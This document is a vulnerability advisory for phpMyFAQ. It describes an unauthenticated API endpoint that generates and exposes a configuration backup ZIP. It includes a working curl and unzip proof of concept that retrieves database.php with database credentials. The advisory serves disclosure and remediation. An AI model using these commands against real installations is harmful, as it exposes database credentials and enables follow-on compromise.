phpMyFAQ has unauthenticated config backup download via /api/setup/backup

Summary

An unauthenticated remote attacker can trigger generation of a configuration backup ZIP via POST /api/setup/backup and then download the generated ZIP from a web-accessible location. The ZIP contains sensitive configuration files (e.g., database.php with database credentials), leading to high-impact information disclosure and potential follow-on compromise.

Details

The endpoint /api/setup/backup is reachable via default rewrite rules and does not enforce authentication/authorization or API token verification. When called with any non-empty body (used as an “installed version” string), the server creates a ZIP archive inside the configuration directory and returns a direct URL to the generated ZIP file.

Relevant code paths:

• Rewrite rule exposing the endpoint:
  • phpmyfaq/.htaccess: RewriteRule ^api/setup/(check|backup|update-database) api/index.php [L,QSA]
• Controller implementation:
  • phpmyfaq/src/phpMyFAQ/Controller/Api/SetupController.php → backup()
    • No call to hasValidToken(), userIsAuthenticated(), or any permission check
• Backup creation:
  • phpmyfaq/src/phpMyFAQ/Setup/Update.php → createConfigBackup()
    • Writes the ZIP into the config directory and returns a public URL under content/core/config/

PoC

Replace BASE_URL with your instance URL.

1. Trigger config backup generation without authentication:

BASE_URL="http://localhost"
curl -i -X POST "${BASE_URL}/api/setup/backup" \
  -H "Content-Type: text/plain" \
  --data "4.1.0-RC"

Expected result: 200 OK with JSON containing backupFile.

2. Copy the backupFile URL from the JSON response and download it (still without authentication):

# Example (replace with the exact URL returned in step 1)
curl -i "http://localhost/content/core/config/phpmyfaq-config-backup.YYYY-MM-DD.zip" -o phpmyfaq-config-backup.zip

3. Verify sensitive content exists in the ZIP:

unzip -l phpmyfaq-config-backup.zip
unzip -p phpmyfaq-config-backup.zip database.php

Observed: database.php is included and contains DB host/user/password.

Impact

• Vulnerability class: Missing authentication/authorization for a sensitive function + sensitive information exposure.
• Who is impacted: Any internet-exposed phpMyFAQ installation where the default .htaccess rewrite rules are active and the endpoint is reachable.
• Security impact: Disclosure of configuration secrets (DB credentials, integration config, etc.), enabling follow-on attacks such as database takeover and data exfiltration.